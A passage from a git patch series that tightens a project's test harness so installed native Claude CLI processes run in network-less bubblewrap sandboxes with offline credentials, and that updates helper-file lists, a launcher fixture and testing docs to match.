"publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { write(`scripts/${file}`, readFileSync(join(source, "scripts", file), "utf8")); } for (const file of ["packages/core/tests/cli-harness.ts", "packages/ui-react/tests/fixtures/runtime-package-build.ts", "packages/ui-react/tests/fixtures/runtime-hook-phases.ts"]) write(file, readFileSync(join(source, file), "utf8")); diff --git a/tests/helpers/unit-worker-fixture.ts b/tests/helpers/unit-worker-fixture.ts index f1ed4f54d3..f2a85e87dc 100644 --- a/tests/helpers/unit-worker-fixture.ts +++ b/tests/helpers/unit-worker-fixture.ts @@ -74,7 +74,7 @@ const stop=Date.now()+5000;while((!existsSync(join(shared,"built-1"))||!existsSy ${options.failBuild ? "process.exit(7);" : ""} mkdirSync("dist",{recursive:true});writeFileSync("dist/lease.json",JSON.stringify({lease:JSON.parse(process.env.BRAIN_WORKSPACE_LEASE),nonce:process.env.BRAIN_TEST_INVOCATION_NONCE}));writeFileSync("dist/ready.txt","Odysseus builds the raft.");receipt.packageEnd("raft",true);receipt.finish(0);\n`); for (const file of ["scripts/test.ts", "scripts/runtime-test-builds.ts", "scripts/test-invocation.ts", "scripts/test-invocation-child.ts", "scripts/publishable-packages.ts", - "scripts/workspace-lease.mjs", "scripts/host-admission.mjs", "scripts/test-shards.ts", "scripts/test-shard-costs.json", "scripts/test-network-preload.ts", "scripts/test-home.ts", "scripts/test-network-child-preload.ts", "scripts/test-network-guard.ts", "packages/core/tests/cli-harness.ts"]) { + "scripts/workspace-lease.mjs", "scripts/host-admission.mjs", "scripts/test-shards.ts", "scripts/test-shard-costs.json", "scripts/test-network-preload.ts", "scripts/test-home.ts", "scripts/test-network-child-preload.ts", "scripts/test-network-guard.ts", "scripts/test-native-guard.ts", "packages/core/tests/cli-harness.ts"]) { write(file, readFileSync(join(source, file), "utf8")); } const files = ["odysseus", "penelope"].map(name => `tests/${name}.test.ts`); diff --git a/tests/local-checks.test.ts b/tests/local-checks.test.ts index bb8face6db..eee70f0246 100644 --- a/tests/local-checks.test.ts +++ b/tests/local-checks.test.ts @@ -423,7 +423,7 @@ function importFixture() { const dir = fixture(); const root = join(import.meta.dir, ".."); mkdirSync(join(dir, "scripts")); - for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(root, "scripts", helper), join(dir, "scripts", helper)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/test-determinism.test.ts b/tests/test-determinism.test.ts index 44605cac53..81f04d9d9f 100644 --- a/tests/test-determinism.test.ts +++ b/tests/test-determinism.test.ts @@ -17,7 +17,7 @@ import singleFileRuns from "./fixtures/determinism-single-file-runs.json"; const ROOT = join(import.meta.dir, ".."); // The wrapper, its preload and what they import, as tests/experiment-tier.test.ts copies them. const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", - "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs", + "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs", "test-determinism.ts", "determinism-plan.ts", "proof-shards.ts", "test-deadlines.ts", "test-deadline-preload.ts"]; const scratch: string[] = []; diff --git a/tests/test-script.test.ts b/tests/test-script.test.ts index 0c48044114..6b1736033b 100644 --- a/tests/test-script.test.ts +++ b/tests/test-script.test.ts @@ -33,7 +33,7 @@ async function run(args: string[], env: Record = {}) { if (existsSync(script)) { mkdirSync(join(dir, "scripts")); cpSync(script, join(dir, "scripts/test.ts")); - for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", helper), join(dir, "scripts", helper)); } // The actual preload also owns cleanup for the shared CLI harness. diff --git a/tests/test-shards.test.ts b/tests/test-shards.test.ts index af68c6b9da..8b073ee541 100644 --- a/tests/test-shards.test.ts +++ b/tests/test-shards.test.ts @@ -59,7 +59,7 @@ describe("balanced shards run the root command for real", () => { mkdirSync(join(dir, "scripts")); const manifest = JSON.parse(readFileSync(join(ROOT, "package.json"), "utf8")); writeFileSync(join(dir, "package.json"), JSON.stringify({ name: "fixture", scripts: { test: manifest.scripts.test } })); - for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", script), join(dir, "scripts", script)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/workspace-lease.test.ts b/tests/workspace-lease.test.ts index 09e487f8dc..7f9f45f6cd 100644 --- a/tests/workspace-lease.test.ts +++ b/tests/workspace-lease.test.ts @@ -281,7 +281,7 @@ test("the real pinned container wrapper waits for host ownership of its mounted test("direct Bun test preserves its selector, timeout and offline preload while waiting", async () => { const root = fixture(); mkdirSync(join(root, "scripts")); mkdirSync(join(root, "packages/core/tests"), { recursive: true }); - for (const name of ["test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs"]) { + for (const name of ["test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs"]) { copyFileSync(join(project, "scripts", name), join(root, "scripts", name)); } copyFileSync(join(project, "packages/core/tests/cli-harness.ts"), join(root, "packages/core/tests/cli-harness.ts")); From 0977669ff0c2d71bdfab68c307021da57b7a27a3 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 18:56:10 +0000 Subject: [PATCH 004/187] fix(ci): propagate native admission through isolated test launchers --- scripts/diagram-export-source.mjs | 2 +- scripts/fixtures/claude-core-default-launch.py | 4 ++-- scripts/test-native-guard.ts | 17 ++++++++++++++--- 3 files changed, 17 insertions(+), 6 deletions(-) diff --git a/scripts/diagram-export-source.mjs b/scripts/diagram-export-source.mjs index 31b72f5530..0aad5edbe5 100644 --- a/scripts/diagram-export-source.mjs +++ b/scripts/diagram-export-source.mjs @@ -5,7 +5,7 @@ import {dirname,join,resolve} from "node:path"; import {diagramInstallationIdentity} from "./diagram-export-installation.mjs"; const workspaceNames=Object.freeze({common:"@schlessera/brain-common",core:"@schlessera/brain",geo:"@schlessera/brain-geo","module-diagrams":"@schlessera/brain-module-diagrams","render-template":"@schlessera/brain-render-template","ui-render-puppeteer":"@schlessera/brain-render-puppeteer"}); export const diagramSourceDomains=Object.freeze(Object.keys(workspaceNames)); -export const diagramSourceSetup=Object.freeze(["package.json","bun.lock","tsconfig.json","bunfig.toml","scripts/test-network-child-preload.ts","scripts/test-network-guard.ts","scripts/workspace-lease.mjs","scripts/diagram-export-source.mjs","scripts/diagram-export-source.d.mts","scripts/prepare-diagram-export-source.mjs","scripts/prepare-diagram-export-source.d.mts","scripts/visual.mjs","scripts/diagram-export-installation.mjs","scripts/diagram-export-installation.d.mts","scripts/diagram-export-producer.mjs","scripts/diagram-export-producer.d.mts"]); +export const diagramSourceSetup=Object.freeze(["package.json","bun.lock","tsconfig.json","bunfig.toml","scripts/test-network-child-preload.ts","scripts/test-network-guard.ts","scripts/test-native-guard.ts","scripts/workspace-lease.mjs","scripts/diagram-export-source.mjs","scripts/diagram-export-source.d.mts","scripts/prepare-diagram-export-source.mjs","scripts/prepare-diagram-export-source.d.mts","scripts/visual.mjs","scripts/diagram-export-installation.mjs","scripts/diagram-export-installation.d.mts","scripts/diagram-export-producer.mjs","scripts/diagram-export-producer.d.mts"]); export const isDiagramSource=path=>diagramSourceSetup.includes(path)||diagramSourceDomains.some(name=>path.startsWith(`packages/${name}/`)); const digest=bytes=>createHash("sha256").update(bytes).digest("hex"); const archivePath=repo=>join(repo,"tmp/diagram-export-source.json"); diff --git a/scripts/fixtures/claude-core-default-launch.py b/scripts/fixtures/claude-core-default-launch.py index e988f8100d..acdefa716e 100644 --- a/scripts/fixtures/claude-core-default-launch.py +++ b/scripts/fixtures/claude-core-default-launch.py @@ -2,9 +2,9 @@ import argparse,pathlib,os,subprocess p=argparse.ArgumentParser();p.add_argument('--bun',required=True);p.add_argument('--output',required=True);a=p.parse_args() source=pathlib.Path(__file__).resolve().parents[2];out=pathlib.Path(a.output).resolve();out.mkdir(mode=0o700,parents=True,exist_ok=False) -env={'PATH':str(pathlib.Path(a.bun).parent)+':/usr/bin:/bin','HOME':'/tmp/offline-home','BRAIN_CORE_DEFAULT_OFFLINE':'1'} +env={'PATH':str(pathlib.Path(a.bun).parent)+':/usr/bin:/bin','HOME':'/tmp/offline-home','BRAIN_CORE_DEFAULT_OFFLINE':'1',**{k:os.environ[k] for k in ['GITHUB_ACTIONS','RUNNER_ENVIRONMENT'] if k in os.environ}} cmd=['bwrap','--unshare-all','--die-with-parent','--new-session','--proc','/proc','--dev','/dev','--tmpfs','/tmp','--dir','/tmp/offline-home'] for d in ['/usr','/bin','/lib','/lib64','/etc']: if pathlib.Path(d).exists():cmd+=['--ro-bind',d,d] -cmd+=['--ro-bind',str(source),str(source),'--ro-bind',str(pathlib.Path(a.bun).parent),str(pathlib.Path(a.bun).parent),'--bind',str(out),str(out),'--chdir',str(source),a.bun,str(source/'scripts/fixtures/claude-core-default-probe.ts'),str(out)] +cmd+=['--ro-bind',str(source),str(source),'--ro-bind',str(pathlib.Path(a.bun).parent),str(pathlib.Path(a.bun).parent),'--bind',str(out),str(out),'--chdir',str(source),a.bun,'--preload',str(source/'scripts/test-network-child-preload.ts'),str(source/'scripts/fixtures/claude-core-default-probe.ts'),str(out)] raise SystemExit(subprocess.run(cmd,env=env,timeout=60).returncode) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index def45433a7..767d98c727 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -101,7 +101,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const executable = realpathSync(command); const argv = ["bwrap", "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...systemMounts(), "--proc", "/proc", "--dev", "/dev", "--tmpfs", "/tmp", "--ro-bind", ROOT, ROOT, - "--ro-bind", executable, command, "--bind", home, home, + "--ro-bind", executable, command, "--ro-bind", process.execPath, process.execPath, "--bind", home, home, ...(within(ROOT, cwd) || within(home, cwd) ? [] : ["--bind", cwd, cwd]), "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", @@ -110,6 +110,16 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { PATH: "/usr/bin:/bin", LANG: "C.UTF-8", ANTHROPIC_API_KEY: "offline-odysseus", ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: "/tmp/native-relay/relay.sock", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1" }; + // These are public model selectors, never ambient provider credentials. + for (const key of ["ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY"]) { + if (env[key]) childEnv[key] = env[key]!; + } + // The core runner's pinned synthetic OAuth fixture tests that auth route. + // No other ambient OAuth value may enter the native environment. + if (env.CLAUDE_CODE_OAUTH_TOKEN === `sk-ant-oat01-${"o".repeat(95)}AA`) { + delete childEnv.ANTHROPIC_API_KEY; + childEnv.CLAUDE_CODE_OAUTH_TOKEN = env.CLAUDE_CODE_OAUTH_TOKEN; + } for (const [key, value] of Object.entries(childEnv)) argv.push("--setenv", key, value); argv.push("--chdir", cwd, "--", command, ...args); return { argv, env: {}, dispose: bridge.dispose }; @@ -120,8 +130,9 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { export function nativeWorkerBoundary(env: Record): { env: Record; dispose(): void } { const unchanged = { env, dispose() {} }; if (!env.BRAIN_WORKER_LAUNCH) return unchanged; - const launch = JSON.parse(env.BRAIN_WORKER_LAUNCH) as { command?: string[]; argv?: string[]; env?: Record }; - if (!launch.command?.[0] || !isNativeClaude(launch.command[0], launch.command.slice(1))) return unchanged; + let launch: { command?: string[]; argv?: string[]; env?: Record } | null; + try { launch = JSON.parse(env.BRAIN_WORKER_LAUNCH); } catch { return unchanged; } + if (!launch?.command?.[0] || !isNativeClaude(launch.command[0], launch.command.slice(1))) return unchanged; qualify(); const argv = launch.argv; if (!argv) refuse("native worker lacks the OS launcher"); From 71eb80c60145dc054da1314fada1a08e88e26dcd Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 18:57:07 +0000 Subject: [PATCH 005/187] fix(ci): retain qualified fixture IPC for restricted workers --- scripts/test-native-guard.ts | 21 +++++++++++++++++++-- 1 file changed, 19 insertions(+), 2 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 767d98c727..7294b18e7d 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -140,13 +140,30 @@ export function nativeWorkerBoundary(env: Record): { if (bwrap < 0) refuse("native worker lacks the OS launcher"); // Even ordinary test workers use a private network and a single bridge. // Do not rely on SDK options or the production profile to establish this. - const bridge = relay(launch.env?.ANTHROPIC_BASE_URL); + const socket = launch.env?.ANTHROPIC_UNIX_SOCKET; + const existingRelay = socket && launch.env?.ANTHROPIC_BASE_URL === "http://localhost"; + if (existingRelay) { + const separator = argv.indexOf("--", bwrap); + let admitted = false; + for (let i = bwrap + 1; i < separator; i++) { + if (argv[i] !== "--ro-bind" || !argv[i + 1] || !argv[i + 2] || !within(argv[i + 2]!, socket)) continue; + const source = argv[i + 1]!, directory = realpathSync(source); + if (!within(tmpdir(), directory) || directory === tmpdir() || directory !== source) continue; + const path = join(directory, socket.slice(argv[i + 2]!.length)); + const info = lstatSync(path); + if (info.isSocket() && info.uid === process.getuid?.()) admitted = true; + } + if (!admitted || !argv.includes("--unshare-net")) refuse("native worker relay is not fixture-owned isolated IPC"); + } + // Existing restricted workers already have a server-owned exact-route relay. + // The unused bridge in that case supplies only synthetic account files. + const bridge = relay(existingRelay ? "http://127.0.0.1:1" : launch.env?.ANTHROPIC_BASE_URL); try { for (let i = bwrap + 1; i < argv.indexOf("--", bwrap); i++) { if (argv[i] === "--ro-bind" && argv[i + 1] === "/" && argv[i + 2] === "/") argv.splice(i--, 3); } argv.splice(bwrap + 1, 0, "--unshare-net", ...systemMounts(), "--ro-bind", ROOT, ROOT, "--ro-bind", process.execPath, process.execPath); - const pinned = { ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: "/tmp/native-relay/relay.sock", + const pinned = { ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: existingRelay ? socket : "/tmp/native-relay/relay.sock", ANTHROPIC_API_KEY: "offline-odysseus", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "" }; const separator = argv.indexOf("--", bwrap); argv.splice(separator, 0, "--ro-bind", bridge.directory, "/tmp/native-relay", From b9f1f4cd290fbde0a4b8eb334b815e60ce4f1d1a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 18:59:07 +0000 Subject: [PATCH 006/187] fix(ci): exclude shared repository IPC from native runtime mounts --- scripts/test-native-guard.ts | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 7294b18e7d..f1b7f0cc11 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -60,6 +60,14 @@ function systemMounts(): string[] { return argv; } +/** Runtime source and dependencies, without shared tmp, Git or host IPC. */ +function testRuntimeMounts(): string[] { + return ["packages", "node_modules", "package.json", "tsconfig.json", "bunfig.toml"].flatMap(name => { + const path = join(ROOT, name); + return existsSync(path) ? ["--ro-bind", path, path] : []; + }); +} + interface Boundary { argv: string[]; env: Record; dispose(): void } /** One Unix socket forwards only to the explicitly selected scripted service. */ @@ -100,9 +108,9 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { try { const executable = realpathSync(command); const argv = ["bwrap", "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...systemMounts(), - "--proc", "/proc", "--dev", "/dev", "--tmpfs", "/tmp", "--ro-bind", ROOT, ROOT, + "--proc", "/proc", "--dev", "/dev", "--tmpfs", "/tmp", ...testRuntimeMounts(), "--ro-bind", executable, command, "--ro-bind", process.execPath, process.execPath, "--bind", home, home, - ...(within(ROOT, cwd) || within(home, cwd) ? [] : ["--bind", cwd, cwd]), + ...(cwd === ROOT || within(ROOT, cwd) || within(home, cwd) ? [] : ["--bind", cwd, cwd]), "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", ...(options.managedSettings ? ["--ro-bind", options.managedSettings, "/etc/claude-code"] : []), "--clearenv"]; @@ -162,7 +170,7 @@ export function nativeWorkerBoundary(env: Record): { for (let i = bwrap + 1; i < argv.indexOf("--", bwrap); i++) { if (argv[i] === "--ro-bind" && argv[i + 1] === "/" && argv[i + 2] === "/") argv.splice(i--, 3); } - argv.splice(bwrap + 1, 0, "--unshare-net", ...systemMounts(), "--ro-bind", ROOT, ROOT, "--ro-bind", process.execPath, process.execPath); + argv.splice(bwrap + 1, 0, "--unshare-net", ...systemMounts(), ...testRuntimeMounts(), "--ro-bind", process.execPath, process.execPath); const pinned = { ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: existingRelay ? socket : "/tmp/native-relay/relay.sock", ANTHROPIC_API_KEY: "offline-odysseus", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "" }; const separator = argv.indexOf("--", bwrap); From 80658b838f1c0f689e79f3f6f308940134c90215 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 19:00:45 +0000 Subject: [PATCH 007/187] fix(ci): recognize native payloads behind executable wrappers --- scripts/test-native-guard.ts | 6 ++++-- tests/native-offline-boundary.test.ts | 2 +- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index f1b7f0cc11..df34bde8db 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -17,7 +17,8 @@ function receiptHead(): string { export function isNativeClaude(command: string, args: readonly unknown[] = []): boolean { return /^(claude|claude-code)(\.exe)?$/.test(basename(command)) || - args.some(value => typeof value === "string" && /claude-agent-sdk[^\n]*\/cli\.(js|mjs)$/.test(value)); + args.some(value => typeof value === "string" && (/claude-agent-sdk[^\n]*\/cli\.(js|mjs)$/.test(value) || + value.startsWith("/") && /^(claude|claude-code)(\.exe)?$/.test(basename(value)))); } function refuse(reason: string): never { @@ -104,8 +105,9 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { if (!home || !within(tmpdir(), home) || home === tmpdir() || !within(tmpdir(), cwd) && !within(ROOT, cwd)) { refuse("native launch requires fixture-owned storage"); } - const bridge = relay(args.length === 1 && args[0] === "--version" ? "http://127.0.0.1:1" : env.ANTHROPIC_BASE_URL); + const bridge = relay(args.at(-1) === "--version" ? "http://127.0.0.1:1" : env.ANTHROPIC_BASE_URL); try { + command = Bun.which(command) ?? command; const executable = realpathSync(command); const argv = ["bwrap", "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...systemMounts(), "--proc", "/proc", "--dev", "/dev", "--tmpfs", "/tmp", ...testRuntimeMounts(), diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index b0e4367cfa..dadb7fce56 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -63,7 +63,7 @@ if (process.env.GITHUB_ACTIONS === "true" && process.env.RUNNER_ENVIRONMENT === // Synthetic native reader exercises the OS boundary independently of SDK // settings precedence. The real installed runtime is covered by native // backend/provider-history cells under the same preload. - const executable = join(brain, "claude"); + const executable = join(brain, "odysseus-native-probe"); writeFileSync(executable, `#!/usr/bin/python3 import http.client,json,os,socket,subprocess settings=json.load(open('/etc/claude-code/managed-settings.json')) From bf94fdef9df8dd48c30b36a933b44e654a689ac2 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 19:05:14 +0000 Subject: [PATCH 008/187] fix(ci): make caught native isolation refusals fail tests --- scripts/test-native-guard.ts | 8 ++++++++ scripts/test-network-guard.ts | 5 +++-- tests/native-offline-boundary.test.ts | 14 ++++++++++++++ 3 files changed, 25 insertions(+), 2 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index df34bde8db..dae0e7efc3 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -7,6 +7,13 @@ const ROOT = resolve(import.meta.dir, ".."); const SYSTEM = ["/usr", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/libx32"]; const within = (root: string, path: string) => path === root || path.startsWith(`${root}/`); let qualified = false; +let denied = 0, reported = 0; +export function nativeIsolationFailed(): boolean { return denied > 0; } +export function assertNoNativeRefusals(): void { + if (denied <= reported) return; + reported = denied; + throw new Error("Offline native Claude isolation refused a launch during this test"); +} let head: string | undefined; function receiptHead(): string { if (head) return head; @@ -22,6 +29,7 @@ export function isNativeClaude(command: string, args: readonly unknown[] = []): } function refuse(reason: string): never { + denied++; // Fixed classifications only: arguments, settings, credentials and addresses // never enter a denial receipt. console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, nativeLaunched: false, reason, head: receiptHead() })); diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 338bf2a6ce..5a7b74da44 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -1,5 +1,5 @@ /** Test-only subprocess and transport safeguards; never imported by a published package. */ -import { isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; +import { assertNoNativeRefusals, nativeIsolationFailed, isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; import { basename, join } from "node:path"; import { isIP, Socket } from "node:net"; import { inheritWorkspaceLease } from "./workspace-lease.mjs"; @@ -176,6 +176,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { installed = { assertNoEscapes() { + assertNoNativeRefusals(); if (escapes.length > reported) { reported = escapes.length; throw new Error(message()); @@ -185,7 +186,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { // Ordinary Bun children have no test hooks. A caught error, including one // followed by process.exit(0), must still make that process unsuccessful. process.on("exit", () => { - if (escapes.length) { + if (escapes.length || nativeIsolationFailed()) { console.error(message()); process.exit(1); } diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index dadb7fce56..aba0abdae1 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -43,6 +43,20 @@ test("worker exec payload refuses before the trusted bootstrap starts", async () } finally { rmSync(scratch, { recursive: true, force: true }); } }); +test("catching a native refusal and exiting zero still fails the child", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-caught-refusal-")); + try { + const script = join(scratch, "probe.ts"); + writeFileSync(script, `import {installNetworkGuard} from ${JSON.stringify(join(ROOT, "scripts/test-network-guard.ts"))}; + delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT; + installNetworkGuard(); try { Bun.spawn(["/synthetic/claude"]); } catch {} process.exit(0);`); + const child = Bun.spawn([process.execPath, script], { env: { PATH: "/usr/bin:/bin", HOME: scratch }, stdout: "pipe", stderr: "pipe" }); + const [code, output] = await Promise.all([child.exited, new Response(child.stderr).text()]); + expect(code).not.toBe(0); + expect(output).toContain('"success":false,"nativeLaunched":false'); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + // Positive native tests are deliberately unavailable on developer hosts. The // local suite proves refusal above; CI executes this assertion rather than a // skipped test or an unsealed fallback. From 5b1a53d157f4ae6e5f51138abe8b2a3f9611d8e1 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 19:10:25 +0000 Subject: [PATCH 009/187] fix(ci): identify installed native runtimes by provenance and content --- docs/process/testing.md | 6 +- scripts/test-native-guard.ts | 63 +++++++++++++++---- tests/native-offline-boundary.test.ts | 87 +++++++++++++++------------ 3 files changed, 106 insertions(+), 50 deletions(-) diff --git a/docs/process/testing.md b/docs/process/testing.md index 4d7b4a194a..89226b4315 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1122,8 +1122,10 @@ required. This partial composition does not replace complete PR proof. The test preload admits installed native Claude only on disposable hosted runners with working Linux namespaces. An unqualified launch fails before process creation with a `native-offline-boundary` receipt; it is never a skip. -This includes SDK `node:child_process` launches (which use Bun's subprocess -transport) and the existing worker bootstrap's exec payload. +Runtime provenance uses resolved installed SDK/runtime paths and a size-filtered +content hash to recognize renamed copies; harmless fixture scripts named +`claude` remain ordinary test programs. This includes SDK `node:child_process` +launches (which use Bun's subprocess transport) and the existing worker bootstrap's exec payload. Direct SDK children get an empty root filesystem, explicit system/runtime and fixture mounts, fresh PID and network namespaces, and one Unix socket bridged diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index dae0e7efc3..9427dd388f 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,7 +1,9 @@ /** Test-only OS boundary for installed native Claude processes (#4313). */ -import { existsSync, lstatSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; +import { closeSync, existsSync, lstatSync, openSync, readFileSync, readSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; +import { createHash } from "node:crypto"; +import { createRequire } from "node:module"; import { tmpdir } from "node:os"; -import { basename, join, resolve } from "node:path"; +import { basename, dirname, join, resolve } from "node:path"; const ROOT = resolve(import.meta.dir, ".."); const SYSTEM = ["/usr", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/libx32"]; @@ -22,10 +24,47 @@ function receiptHead(): string { return head = result.exitCode === 0 && /^[0-9a-f]{40}$/.test(value) ? value : "unavailable"; } +// Resolve from the installed SDK, exactly as its native package lookup does. +// This runs before test mocks can replace module resolution. No executable runs. +const installedRuntimes: { path: string; size: number }[] = []; +try { + const sdk = createRequire(import.meta.url).resolve("@anthropic-ai/claude-agent-sdk"); + const fromSdk = createRequire(sdk); + const manifest = JSON.parse(readFileSync(join(dirname(sdk), "package.json"), "utf8")) as { optionalDependencies?: Record }; + for (const name of Object.keys(manifest.optionalDependencies ?? {}).filter(name => name.startsWith("@anthropic-ai/claude-agent-sdk-"))) { + try { + const path = realpathSync(fromSdk.resolve(`${name}/claude${name.includes("win32") ? ".exe" : ""}`)); + installedRuntimes.push({ path, size: statSync(path).size }); + } catch { /* Other-platform optional packages need not be installed. */ } + } + const cli = join(dirname(sdk), "cli.js"); + if (existsSync(cli)) installedRuntimes.push({ path: realpathSync(cli), size: statSync(cli).size }); +} catch { /* Copied non-native harness fixtures need no installed SDK. */ } + +const hashes = new Map(); +function fileHash(path: string): string { + const stat = statSync(path, { bigint: true }); + const key = `${path}:${stat.dev}:${stat.ino}:${stat.size}:${stat.mtimeNs}:${stat.ctimeNs}`; + const cached = hashes.get(key); + if (cached) return cached; + const fd = openSync(path, "r"), chunk = Buffer.alloc(1024 * 1024), hash = createHash("sha256"); + try { for (;;) { const count = readSync(fd, chunk); if (!count) break; hash.update(chunk.subarray(0, count)); } } + finally { closeSync(fd); } + const digest = hash.digest("hex"); hashes.set(key, digest); return 